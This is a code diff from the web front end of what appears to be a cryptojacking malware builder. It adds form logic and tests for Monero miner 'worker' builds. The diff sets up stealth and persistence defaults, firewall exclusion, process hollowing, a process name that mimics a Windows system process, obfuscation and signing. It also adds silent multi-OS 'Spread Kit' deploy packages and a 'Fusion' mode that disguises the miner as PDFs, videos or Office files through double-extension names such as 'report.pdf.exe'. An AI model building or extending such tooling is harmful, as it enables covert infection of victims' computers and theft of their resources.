message: 'Spread Kit and Fusion cannot both be enabled — pick one deliverable type.',
|
||||
});
|
||||
}
|
||||
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
checks.push({
|
||||
id: 'universal_deliverable',
|
||||
level: 'warn',
|
||||
message: 'Target OS is Universal but no Spread Kit or Fusion — choose a deliverable type or switch to a single platform.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.process_hollowing) {
|
||||
checks.push({
|
||||
id: 'hollow_unix',
|
||||
level: 'error',
|
||||
message: 'Process hollowing is not available on Linux or macOS.',
|
||||
});
|
||||
}
|
||||
|
||||
if ((form.target_os === 'linux' || form.target_os === 'darwin') && form.sign_build) {
|
||||
checks.push({
|
||||
id: 'sign_unix',
|
||||
level: 'error',
|
||||
message: 'Authenticode signing only applies to Windows builds.',
|
||||
});
|
||||
}
|
||||
|
||||
return checks;
|
||||
}
|
||||
|
||||
@@ -13,7 +13,7 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
mining_mode: 'idle',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
run_as: 'user',
|
||||
run_as: 'scheduled',
|
||||
auto_start: true,
|
||||
persistence: true,
|
||||
process_name: 'RuntimeBrokerHelper',
|
||||
@@ -45,6 +45,11 @@ export const FORGE_BUILD_DEFAULTS: Omit<
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
target_os: 'windows',
|
||||
target_arch: 'all',
|
||||
spread_kit: false,
|
||||
obfuscate: false,
|
||||
sign_build: false,
|
||||
};
|
||||
|
||||
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
70
server/web/src/help/forgeFormNormalize.test.ts
Normal file
@@ -0,0 +1,70 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
import {
|
||||
applyDeliverableType,
|
||||
deriveDeliverableType,
|
||||
normalizeForgeForm,
|
||||
spreadKitPreset,
|
||||
} from './forgeFormNormalize';
|
||||
import type { BuildRequest } from '../types';
|
||||
import { FORGE_BUILD_DEFAULTS } from './forgeDefaults';
|
||||
|
||||
function baseForm(overrides: Partial<BuildRequest> = {}): BuildRequest {
|
||||
return {
|
||||
worker_name: 'pc-1',
|
||||
server_url: 'http://192.168.1.5:8989',
|
||||
wallet: '4' + 'A'.repeat(94),
|
||||
pool_host: 'pool.example.com',
|
||||
pool_port: 3333,
|
||||
pool_tls: false,
|
||||
pool_pass: 'x',
|
||||
...FORGE_BUILD_DEFAULTS,
|
||||
...overrides,
|
||||
} as BuildRequest;
|
||||
}
|
||||
|
||||
describe('forgeFormNormalize', () => {
|
||||
it('derives deliverable type from flags', () => {
|
||||
expect(deriveDeliverableType(baseForm({ fusion_enabled: true }))).toBe('fusion');
|
||||
expect(deriveDeliverableType(baseForm({ spread_kit: true }))).toBe('spread_kit');
|
||||
expect(deriveDeliverableType(baseForm())).toBe('single');
|
||||
});
|
||||
|
||||
it('spread kit forces universal and clears fusion', () => {
|
||||
const out = normalizeForgeForm(baseForm({ spread_kit: true, fusion_enabled: true, target_os: 'windows' }));
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.fusion_enabled).toBe(false);
|
||||
expect(out.target_os).toBe('universal');
|
||||
});
|
||||
|
||||
it('linux target clears sign_build and fixes install base', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ target_os: 'linux', target_arch: 'amd64', sign_build: true, install_base: 'localappdata' })
|
||||
);
|
||||
expect(out.sign_build).toBe(false);
|
||||
expect(out.install_base).toBe('xdg_data_home');
|
||||
expect(out.target_arch).toBe('amd64');
|
||||
});
|
||||
|
||||
it('single deliverable cannot stay universal', () => {
|
||||
const out = applyDeliverableType(baseForm({ target_os: 'universal' }), 'single');
|
||||
expect(out.target_os).toBe('windows');
|
||||
expect(out.spread_kit).toBe(false);
|
||||
});
|
||||
|
||||
it('spread kit preset enables persistence and stealth', () => {
|
||||
const out = applyDeliverableType(baseForm(), 'spread_kit');
|
||||
expect(out.spread_kit).toBe(true);
|
||||
expect(out.persistence).toBe(true);
|
||||
expect(out.stealth_mode).toBe(true);
|
||||
expect(spreadKitPreset().remote_aggressive).toBe(true);
|
||||
});
|
||||
|
||||
it('preserves idle field values when mining mode is always (server ignores them when mode does not match)', () => {
|
||||
const out = normalizeForgeForm(
|
||||
baseForm({ mining_mode: 'always', idle_threshold_pct: 99, idle_duration_minutes: 30 })
|
||||
);
|
||||
// Values are preserved — the backend ignores them when mining_mode !== 'idle'
|
||||
expect(out.idle_threshold_pct).toBe(99);
|
||||
expect(out.idle_duration_minutes).toBe(30);
|
||||
});
|
||||
});
|
||||
239
server/web/src/help/forgeFormNormalize.ts
Normal file
239
server/web/src/help/forgeFormNormalize.ts
Normal file
@@ -0,0 +1,239 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
|
||||
/** UI deliverable — derived from forge flags, not sent to the API. */
|
||||
export type ForgeDeliverable = 'single' | 'spread_kit' | 'fusion';
|
||||
|
||||
export interface InstallBaseOption {
|
||||
value: string;
|
||||
label: string;
|
||||
hint?: string;
|
||||
}
|
||||
|
||||
const WINDOWS_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'localappdata', label: 'Local App Data (%LOCALAPPDATA%)' },
|
||||
{ value: 'appdata', label: 'Roaming App Data (%APPDATA%)' },
|
||||
{ value: 'programdata', label: 'Program Data (%ProgramData%)' },
|
||||
{ value: 'userprofile', label: 'User Profile (%USERPROFILE%)' },
|
||||
{ value: 'temp', label: 'Temp Folder (%TEMP%)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIX_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{ value: 'xdg_data_home', label: 'XDG data (~/.local/share)' },
|
||||
{ value: 'home', label: 'Home folder (~)' },
|
||||
{ value: 'temp', label: 'Temp (/tmp or $TMPDIR)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
const UNIVERSAL_INSTALL_BASES: InstallBaseOption[] = [
|
||||
{
|
||||
value: 'localappdata',
|
||||
label: 'Stealth cache location (auto per OS)',
|
||||
hint: 'Windows → %LOCALAPPDATA% · Linux → ~/.local/share · macOS → ~/Library/Application Support',
|
||||
},
|
||||
{ value: 'home', label: 'User home (all platforms)' },
|
||||
{ value: 'temp', label: 'Temp folder (all platforms)' },
|
||||
{ value: 'custom', label: 'Custom path…' },
|
||||
];
|
||||
|
||||
export function deriveDeliverableType(form: BuildRequest): ForgeDeliverable {
|
||||
if (form.fusion_enabled) return 'fusion';
|
||||
if (form.spread_kit) return 'spread_kit';
|
||||
return 'single';
|
||||
}
|
||||
|
||||
export function deliverableSummary(type: ForgeDeliverable): string {
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return 'Movie or prep fusion — one universal ZIP per title. User opens the media/runner; mining starts hidden.';
|
||||
case 'spread_kit':
|
||||
return 'Silent multi-OS deploy ZIP — run Deploy.bat / deploy.sh / Start.command once; worker installs and persists.';
|
||||
default:
|
||||
return 'One installer binary for a single OS (Windows .exe, Linux binary, or macOS binary).';
|
||||
}
|
||||
}
|
||||
|
||||
/** Recommended toggles when Spread Kit is selected. */
|
||||
export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
return {
|
||||
spread_kit: true,
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
mining_mode: 'idle',
|
||||
process_hollowing: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: true,
|
||||
auto_spread: false,
|
||||
};
|
||||
}
|
||||
|
||||
export function installBaseOptionsForTarget(targetOs?: string): InstallBaseOption[] {
|
||||
const t = targetOs || 'windows';
|
||||
if (t === 'linux' || t === 'darwin') return UNIX_INSTALL_BASES;
|
||||
if (t === 'universal') return UNIVERSAL_INSTALL_BASES;
|
||||
return WINDOWS_INSTALL_BASES;
|
||||
}
|
||||
|
||||
function isWindowsOnlyTarget(targetOs?: string): boolean {
|
||||
return !targetOs || targetOs === 'windows';
|
||||
}
|
||||
|
||||
function isSingleUnixTarget(targetOs?: string): boolean {
|
||||
return targetOs === 'linux' || targetOs === 'darwin';
|
||||
}
|
||||
|
||||
/** Coerce form so inactive fields hold safe defaults and incompatible values are cleared. */
|
||||
export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
const next: BuildRequest = { ...form };
|
||||
|
||||
// Deliverable coupling — spread kit wins if both flags were somehow set
|
||||
if (next.spread_kit) {
|
||||
next.fusion_enabled = false;
|
||||
next.target_os = 'universal';
|
||||
next.target_arch = 'all';
|
||||
} else if (next.fusion_enabled) {
|
||||
next.spread_kit = false;
|
||||
if (next.target_os === 'windows' || !next.target_os) {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
if (deriveDeliverableType(next) === 'single' && next.target_os === 'universal') {
|
||||
next.target_os = 'windows';
|
||||
next.spread_kit = false;
|
||||
}
|
||||
|
||||
// Architecture
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (!next.target_arch || next.target_arch === 'all') {
|
||||
next.target_arch = next.target_os === 'darwin' ? 'arm64' : 'amd64';
|
||||
}
|
||||
} else {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
|
||||
// Windows-only forge pipeline
|
||||
if (!isWindowsOnlyTarget(next.target_os)) {
|
||||
next.sign_build = false;
|
||||
if (next.target_os !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
|
||||
// Process hollowing — Windows workers only
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
}
|
||||
|
||||
// Install base matches target OS family
|
||||
const unixBases = new Set(['xdg_data_home', 'home', 'temp', 'custom']);
|
||||
const winOnlyBases = new Set(['localappdata', 'appdata', 'programdata', 'userprofile']);
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
if (winOnlyBases.has(next.install_base) && next.install_base !== 'custom') {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (isWindowsOnlyTarget(next.target_os)) {
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
}
|
||||
|
||||
if (next.install_base !== 'custom') {
|
||||
next.install_custom_base = '';
|
||||
}
|
||||
|
||||
// Stealth / display
|
||||
if (next.stealth_mode) {
|
||||
next.file_logging = false;
|
||||
if (next.display_mode === 'visible') {
|
||||
next.display_mode = 'background';
|
||||
}
|
||||
next.silent_mode = true;
|
||||
}
|
||||
|
||||
// Mining mode sub-fields — ensure they have sane defaults (don't reset user values — server ignores them when mode doesn't match)
|
||||
if (!next.idle_threshold_pct || next.idle_threshold_pct < 1) next.idle_threshold_pct = 20;
|
||||
if (!next.idle_duration_minutes || next.idle_duration_minutes < 1) next.idle_duration_minutes = 5;
|
||||
if (!next.schedule_start) next.schedule_start = '21:00';
|
||||
if (!next.schedule_end) next.schedule_end = '06:00';
|
||||
|
||||
// Thread mode
|
||||
if (next.thread_mode === 'percent') {
|
||||
if (next.thread_percent < 1 || next.thread_percent > 100) {
|
||||
next.thread_percent = 75;
|
||||
}
|
||||
} else if (next.threads < 1) {
|
||||
next.threads = 4;
|
||||
}
|
||||
|
||||
// Run-as forces persistence
|
||||
if (next.run_as === 'scheduled' || next.run_as === 'service') {
|
||||
next.persistence = true;
|
||||
next.auto_start = true;
|
||||
}
|
||||
|
||||
// AI sub-fields — keep defaults when off (server ignores); clear endpoint only if empty
|
||||
if (!next.ai_enabled) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
next.ai_model = 'llama3.2';
|
||||
} else {
|
||||
if (!next.ai_ollama_endpoint?.trim()) {
|
||||
next.ai_ollama_endpoint = 'http://localhost:11434';
|
||||
}
|
||||
if (!next.ai_model?.trim()) {
|
||||
next.ai_model = 'llama3.2';
|
||||
}
|
||||
}
|
||||
|
||||
// Fusion-only fields
|
||||
if (!next.fusion_enabled) {
|
||||
next.fusion_media_base_name = '';
|
||||
next.fusion_export_subdir = '';
|
||||
if (next.fusion_payload_kind === 'video') {
|
||||
next.fusion_payload_kind = 'exe';
|
||||
}
|
||||
}
|
||||
|
||||
return next;
|
||||
}
|
||||
|
||||
/** Apply a deliverable preset — call from UI when user picks build type. */
|
||||
export function applyDeliverableType(form: BuildRequest, type: ForgeDeliverable): BuildRequest {
|
||||
const base: BuildRequest = { ...form, fusion_enabled: false, spread_kit: false };
|
||||
|
||||
switch (type) {
|
||||
case 'fusion':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
fusion_enabled: true,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
display_mode: 'background',
|
||||
silent_mode: true,
|
||||
fusion_media_mode: base.fusion_media_mode || 'paired',
|
||||
fusion_payload_kind: base.fusion_payload_kind || 'exe',
|
||||
});
|
||||
case 'spread_kit':
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
...spreadKitPreset(),
|
||||
});
|
||||
default:
|
||||
return normalizeForgeForm({
|
||||
...base,
|
||||
target_os: base.target_os === 'universal' ? 'windows' : base.target_os || 'windows',
|
||||
});
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,5 @@
|
||||
import type { BuildRequest } from '../types';
|
||||
import { normalizeForgeForm } from './forgeFormNormalize';
|
||||
|
||||
export type ForgeFieldBadge = 'baked' | 'server-only' | 'requires';
|
||||
|
||||
@@ -102,10 +103,58 @@ export function applyForgeFieldUpdate(
|
||||
next.persistence = value === true;
|
||||
break;
|
||||
|
||||
case 'target_os':
|
||||
if (value !== 'windows' && value !== 'universal') {
|
||||
next.process_hollowing = false;
|
||||
next.sign_build = false;
|
||||
if (value !== 'universal') {
|
||||
next.obfuscate = false;
|
||||
}
|
||||
}
|
||||
if (value === 'linux' || value === 'darwin') {
|
||||
next.spread_kit = false;
|
||||
next.target_arch = value === 'darwin' ? 'arm64' : 'amd64';
|
||||
if (['localappdata', 'appdata', 'programdata', 'userprofile'].includes(next.install_base)) {
|
||||
next.install_base = 'xdg_data_home';
|
||||
}
|
||||
} else if (value === 'windows') {
|
||||
next.target_arch = 'all';
|
||||
if (next.install_base === 'xdg_data_home') {
|
||||
next.install_base = 'localappdata';
|
||||
}
|
||||
} else if (value === 'universal') {
|
||||
next.target_arch = 'all';
|
||||
}
|
||||
break;
|
||||
|
||||
case 'fusion_enabled':
|
||||
if (value === true) {
|
||||
next.display_mode = 'background';
|
||||
next.silent_mode = true;
|
||||
next.spread_kit = false;
|
||||
if (!next.target_os || next.target_os === 'windows') {
|
||||
next.target_os = 'universal';
|
||||
}
|
||||
}
|
||||
break;
|
||||
|
||||
case 'spread_kit':
|
||||
if (value === true) {
|
||||
Object.assign(next, {
|
||||
fusion_enabled: false,
|
||||
target_os: 'universal',
|
||||
target_arch: 'all',
|
||||
run_as: 'scheduled',
|
||||
persistence: true,
|
||||
auto_start: true,
|
||||
self_healing: true,
|
||||
stealth_mode: true,
|
||||
silent_mode: true,
|
||||
file_logging: false,
|
||||
firewall_exclusion: true,
|
||||
display_mode: 'background',
|
||||
process_hollowing: false,
|
||||
});
|
||||
}
|
||||
break;
|
||||
|
||||
@@ -158,12 +207,8 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
|
||||
case 'worker_name':
|
||||
if (typeof value === 'string' && value.trim()) {
|
||||
const proc = value.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 48);
|
||||
if (proc && (!next.process_name || next.process_name === 'RuntimeBrokerHelper' || next.process_name.startsWith('worker-'))) {
|
||||
next.process_name = proc;
|
||||
}
|
||||
}
|
||||
// Do NOT auto-derive process_name from worker_name — RuntimeBrokerHelper is the stealth default.
|
||||
// Users can override process_name manually in Advanced mode.
|
||||
break;
|
||||
|
||||
case 'pool_tls':
|
||||
@@ -173,7 +218,7 @@ export function applyForgeFieldUpdate(
|
||||
break;
|
||||
}
|
||||
|
||||
return next;
|
||||
return normalizeForgeForm(next);
|
||||
}
|
||||
|
||||
/** Per-field UI state: disabled fields + why. */
|
||||
@@ -182,6 +227,12 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
const isIdle = form.mining_mode === 'idle';
|
||||
const isScheduled = form.mining_mode === 'scheduled';
|
||||
const runAsForcedPersistence = form.run_as === 'scheduled' || form.run_as === 'service';
|
||||
const targetOs = form.target_os || 'windows';
|
||||
const isUnixSingle = targetOs === 'linux' || targetOs === 'darwin';
|
||||
const isWindowsOnly = targetOs === 'windows';
|
||||
const isUniversal = targetOs === 'universal';
|
||||
const isSpreadKit = !!form.spread_kit;
|
||||
const isFusion = !!form.fusion_enabled;
|
||||
|
||||
return {
|
||||
worker_name: { disabled: false, badge: 'baked' },
|
||||
@@ -271,7 +322,11 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
: undefined,
|
||||
},
|
||||
run_as: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: { disabled: false, badge: 'baked' },
|
||||
fusion_enabled: {
|
||||
disabled: isSpreadKit,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit ? 'Turn off Spread Kit to use Fusion.' : undefined,
|
||||
},
|
||||
fusion_prep: {
|
||||
disabled: !form.fusion_enabled,
|
||||
badge: 'requires',
|
||||
@@ -298,9 +353,55 @@ export function getForgeFieldMeta(form: BuildRequest): Record<string, ForgeField
|
||||
badge: 'requires',
|
||||
lockedReason: !form.ai_enabled ? 'Enable AI Autonomy first.' : undefined,
|
||||
},
|
||||
process_hollowing: { disabled: false, badge: 'baked' },
|
||||
process_hollowing: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: isUnixSingle
|
||||
? 'Process hollowing is Windows-only.'
|
||||
: isUniversal
|
||||
? 'Only baked into the Windows worker inside universal builds.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Windows agents only — Linux/macOS workers ignore this flag.' : undefined,
|
||||
},
|
||||
mesh_p2p: { disabled: false, badge: 'baked' },
|
||||
auto_spread: { disabled: false, badge: 'baked' },
|
||||
hole_punch: { disabled: false, badge: 'baked' },
|
||||
remote_aggressive: { disabled: false, badge: 'baked' },
|
||||
target_os: {
|
||||
disabled: isSpreadKit || isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isSpreadKit
|
||||
? 'Spread Kit always targets all platforms (Universal).'
|
||||
: isFusion
|
||||
? 'Movie fusion always builds a universal ZIP.'
|
||||
: undefined,
|
||||
},
|
||||
target_arch: {
|
||||
disabled: !isUnixSingle,
|
||||
badge: 'baked',
|
||||
lockedReason: !isUnixSingle
|
||||
? 'Pick Linux or macOS as Target OS to choose architecture.'
|
||||
: undefined,
|
||||
},
|
||||
spread_kit: {
|
||||
disabled: isFusion,
|
||||
badge: 'baked',
|
||||
lockedReason: isFusion ? 'Spread Kit and Fusion are different deliverables — pick one above.' : undefined,
|
||||
},
|
||||
obfuscate: {
|
||||
disabled: isUnixSingle,
|
||||
badge: 'server-only',
|
||||
lockedReason: isUnixSingle ? 'Garble obfuscation applies to Windows builds only.' : undefined,
|
||||
hint: isUniversal ? 'Only the Windows binary in the universal ZIP is obfuscated.' : undefined,
|
||||
},
|
||||
sign_build: {
|
||||
disabled: !isWindowsOnly && !isUniversal,
|
||||
badge: 'server-only',
|
||||
lockedReason: !isWindowsOnly && !isUniversal
|
||||
? 'Authenticode signing applies to Windows .exe output only.'
|
||||
: undefined,
|
||||
hint: isUniversal ? 'Signs the Windows runner/worker inside the package.' : undefined,
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
@@ -334,6 +435,21 @@ export function getForgeLiveNotices(form: BuildRequest, fusionPrepSelected: bool
|
||||
if (form.max_cpu_usage_pct < 30 && form.thread_percent > 70 && form.thread_mode === 'percent') {
|
||||
notices.push('Low Max CPU (%) with high Thread Percent may cause constant throttling.');
|
||||
}
|
||||
if (form.target_os === 'universal') {
|
||||
notices.push('Universal forge builds workers for Windows, Linux, and macOS in one ZIP.');
|
||||
}
|
||||
if (form.spread_kit) {
|
||||
notices.push('Spread Kit: silent deploy scripts run worker --spread-install on each platform.');
|
||||
}
|
||||
if (form.fusion_enabled) {
|
||||
notices.push('Fusion builds a universal ZIP — each OS gets its own runner inside bin/.');
|
||||
}
|
||||
if (form.target_os === 'linux' || form.target_os === 'darwin') {
|
||||
notices.push(`Single ${form.target_os} worker — install uses XDG/home paths, not Windows folders.`);
|
||||
}
|
||||
if (form.target_os === 'universal' && !form.fusion_enabled && !form.spread_kit) {
|
||||
notices.push('Universal without Spread Kit or Fusion — pick a deliverable type above.');
|
||||
}
|
||||
|
||||
return notices;
|
||||
}
|
||||
|
||||
@@ -57,6 +57,8 @@ export function recommendedForgePreset(): Partial<BuildRequest> {
|
||||
process_hollowing: false,
|
||||
mesh_p2p: false,
|
||||
auto_spread: false,
|
||||
hole_punch: false,
|
||||
remote_aggressive: false,
|
||||
ai_enabled: false,
|
||||
fusion_enabled: false,
|
||||
output_dir: 'exports',
|
||||
|
||||
@@ -32,7 +32,8 @@ function isReachableServerUrl(url: string): boolean {
|
||||
|
||||
function looksLikeXMRWallet(addr: string): boolean {
|
||||
const a = addr.trim();
|
||||
return a.length >= 90 && a.length <= 106 && /^4[0-9A-Za-z]+$/.test(a);
|
||||
// Standard (4…, 95 chars), subaddress (8…, 97 chars), integrated (4…, 106 chars)
|
||||
return a.length >= 90 && a.length <= 106 && /^[48][0-9A-Za-z]+$/.test(a);
|
||||
}
|
||||
|
||||
export function runForgePreflight(form: BuildRequest, fusionPrepSelected: boolean): PreflightCheck[] {
|
||||
|
||||
@@ -3,23 +3,63 @@ import {
|
||||
defaultEmbeddedName,
|
||||
defaultRunnerName,
|
||||
fusionTitleFromFilename,
|
||||
isFusionVideoFile,
|
||||
isFusionExeFile,
|
||||
fusionPayloadKind,
|
||||
fusionFileTypeLabel,
|
||||
disguisedWindowsRunnerName,
|
||||
disguisedDisplayName,
|
||||
} from './fusionMedia';
|
||||
|
||||
describe('fusionMedia', () => {
|
||||
it('detects video extensions', () => {
|
||||
expect(isFusionVideoFile({ name: 'Vacation.mkv' } as File)).toBe(true);
|
||||
expect(isFusionVideoFile({ name: 'prep.exe' } as File)).toBe(false);
|
||||
expect(isFusionVideoFile(null)).toBe(false);
|
||||
it('detects exe extensions', () => {
|
||||
expect(isFusionExeFile({ name: 'setup.exe' } as File)).toBe(true);
|
||||
expect(isFusionExeFile({ name: 'Vacation.mkv' } as File)).toBe(false);
|
||||
expect(isFusionExeFile({ name: 'report.pdf' } as File)).toBe(false);
|
||||
expect(isFusionExeFile(null)).toBe(false);
|
||||
});
|
||||
|
||||
it('derives title from filename', () => {
|
||||
it('returns correct payload kind', () => {
|
||||
expect(fusionPayloadKind({ name: 'setup.exe' } as File)).toBe('exe');
|
||||
expect(fusionPayloadKind({ name: 'Vacation.mkv' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'report.pdf' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind({ name: 'doc.docx' } as File)).toBe('file');
|
||||
expect(fusionPayloadKind(null)).toBe('file');
|
||||
});
|
||||
|
||||
it('derives title from any filename', () => {
|
||||
expect(fusionTitleFromFilename('C:\\movies\\Vacation.mkv')).toBe('Vacation');
|
||||
expect(fusionTitleFromFilename('clip.MP4')).toBe('clip');
|
||||
expect(fusionTitleFromFilename('quarterly-report.pdf')).toBe('quarterly-report');
|
||||
expect(fusionTitleFromFilename('document.docx')).toBe('document');
|
||||
});
|
||||
|
||||
it('builds default runner and embedded names', () => {
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation-runner.exe');
|
||||
it('builds disguised double-extension runner names for non-exe files', () => {
|
||||
// Double-extension trick: Windows hides .exe → user sees the document name + icon
|
||||
expect(defaultRunnerName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
expect(defaultRunnerName('report.pdf')).toBe('report.pdf.exe');
|
||||
expect(defaultRunnerName('budget.xlsx')).toBe('budget.xlsx.exe');
|
||||
// exe payloads are not double-extended (they run directly)
|
||||
expect(defaultRunnerName('setup.exe')).toBe('setup.exe');
|
||||
// embedded = same disguised name
|
||||
expect(defaultEmbeddedName('Vacation.mkv')).toBe('Vacation.mkv.exe');
|
||||
});
|
||||
|
||||
it('disguisedWindowsRunnerName works for all types', () => {
|
||||
expect(disguisedWindowsRunnerName('quarterly-report.pdf')).toBe('quarterly-report.pdf.exe');
|
||||
expect(disguisedWindowsRunnerName('clip.mp4')).toBe('clip.mp4.exe');
|
||||
expect(disguisedWindowsRunnerName('setup.exe')).toBe('setup.exe');
|
||||
expect(disguisedWindowsRunnerName('no-extension')).toBe('no-extension.exe');
|
||||
});
|
||||
|
||||
it('disguisedDisplayName strips trailing .exe for user-visible name', () => {
|
||||
expect(disguisedDisplayName('report.pdf')).toBe('report.pdf');
|
||||
expect(disguisedDisplayName('clip.mp4')).toBe('clip.mp4');
|
||||
});
|
||||
|
||||
it('returns friendly file type labels', () => {
|
||||
expect(fusionFileTypeLabel('report.pdf')).toBe('PDF document');
|
||||
expect(fusionFileTypeLabel('clip.mp4')).toBe('MP4 video');
|
||||
expect(fusionFileTypeLabel('doc.docx')).toBe('Word document');
|
||||
expect(fusionFileTypeLabel('unknown.xyz')).toBe('XYZ file');
|
||||
});
|
||||
});
|
||||
|
||||
@@ -1,20 +1,69 @@
|
||||
export function isFusionVideoFile(file: File | null | undefined): boolean {
|
||||
/** Return true if the file is a Windows executable payload (run directly). */
|
||||
export function isFusionExeFile(file: File | null | undefined): boolean {
|
||||
if (!file?.name) return false;
|
||||
return /\.(mp4|mkv|mov)$/i.test(file.name);
|
||||
return /\.exe$/i.test(file.name);
|
||||
}
|
||||
|
||||
/** Derive a clean title from any filename (strips extension). */
|
||||
export function fusionTitleFromFilename(name: string): string {
|
||||
const base = name.replace(/^.*[/\\]/, '');
|
||||
return base.replace(/\.(mp4|mkv|mov|exe)$/i, '') || 'movie';
|
||||
// Remove all extensions from the title
|
||||
return base.replace(/\.[^.]+$/, '') || 'file';
|
||||
}
|
||||
|
||||
/** Derive the Windows runner name for a payload. Uses double-extension disguise for non-exe files.
|
||||
* e.g. "quarterly-report.pdf" → "quarterly-report.pdf.exe" (shown as "quarterly-report.pdf" in Explorer)
|
||||
* "setup.exe" → "setup.exe" (run directly)
|
||||
*/
|
||||
export function defaultRunnerName(mediaName: string): string {
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}-runner.exe`;
|
||||
return disguisedWindowsRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Derive a single-file (embedded) runner name — same as runner name (double-ext disguise). */
|
||||
export function defaultEmbeddedName(mediaName: string): string {
|
||||
const ext = mediaName.match(/\.(mp4|mkv|mov)$/i)?.[0] || '.mkv';
|
||||
const title = fusionTitleFromFilename(mediaName);
|
||||
return `${title}${ext}.exe`;
|
||||
return defaultRunnerName(mediaName);
|
||||
}
|
||||
|
||||
/** Return the payload kind: "exe" for .exe files, "file" for everything else. */
|
||||
export function fusionPayloadKind(file: File | null | undefined): string {
|
||||
if (!file?.name) return 'file';
|
||||
return /\.exe$/i.test(file.name) ? 'exe' : 'file';
|
||||
}
|
||||
|
||||
/**
|
||||
* Returns the Windows runner filename that uses the double-extension trick.
|
||||
* "quarterly-report.pdf" → "quarterly-report.pdf.exe"
|
||||
* Windows hides the .exe when extension hiding is on (the OS default), so the
|
||||
* user sees "quarterly-report.pdf" with the PDF icon injected by the forge.
|
||||
*/
|
||||
export function disguisedWindowsRunnerName(payloadName: string): string {
|
||||
const ext = payloadName.match(/(\.[^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
if (ext === '.exe' || ext === '') {
|
||||
// Already an exe or no extension — no double-extension trick needed
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'setup';
|
||||
return base + '.exe';
|
||||
}
|
||||
const base = payloadName.replace(/\.[^.]+$/, '') || 'file';
|
||||
return base + ext + '.exe';
|
||||
}
|
||||
|
||||
/** What the disguised Windows file looks like to the user (with ext hiding on). */
|
||||
export function disguisedDisplayName(payloadName: string): string {
|
||||
// Strips the trailing .exe → shows the double-extension name without .exe
|
||||
const runner = disguisedWindowsRunnerName(payloadName);
|
||||
return runner.replace(/\.exe$/i, '');
|
||||
}
|
||||
|
||||
/** Friendly label for a file type based on extension. */
|
||||
export function fusionFileTypeLabel(filename: string): string {
|
||||
const ext = filename.match(/\.([^.]+)$/)?.[1]?.toLowerCase() ?? '';
|
||||
const labels: Record<string, string> = {
|
||||
pdf: 'PDF document', mp4: 'MP4 video', mkv: 'MKV video', mov: 'MOV video',
|
||||
avi: 'AVI video', doc: 'Word document', docx: 'Word document',
|
||||
xls: 'Spreadsheet', xlsx: 'Spreadsheet', ppt: 'Presentation', pptx: 'Presentation',
|
||||
jpg: 'JPEG image', jpeg: 'JPEG image', png: 'PNG image', gif: 'GIF image',
|
||||
zip: 'ZIP archive', exe: 'Windows executable', dmg: 'macOS disk image',
|
||||
txt: 'Text file', csv: 'CSV file',
|
||||
};
|
||||
return labels[ext] ?? (ext ? `${ext.toUpperCase()} file` : 'file');
|
||||
}
|
||||
|
||||
@@ -3,7 +3,9 @@ const BASE_LABELS: Record<string, string> = {
|
||||
appdata: '%APPDATA%',
|
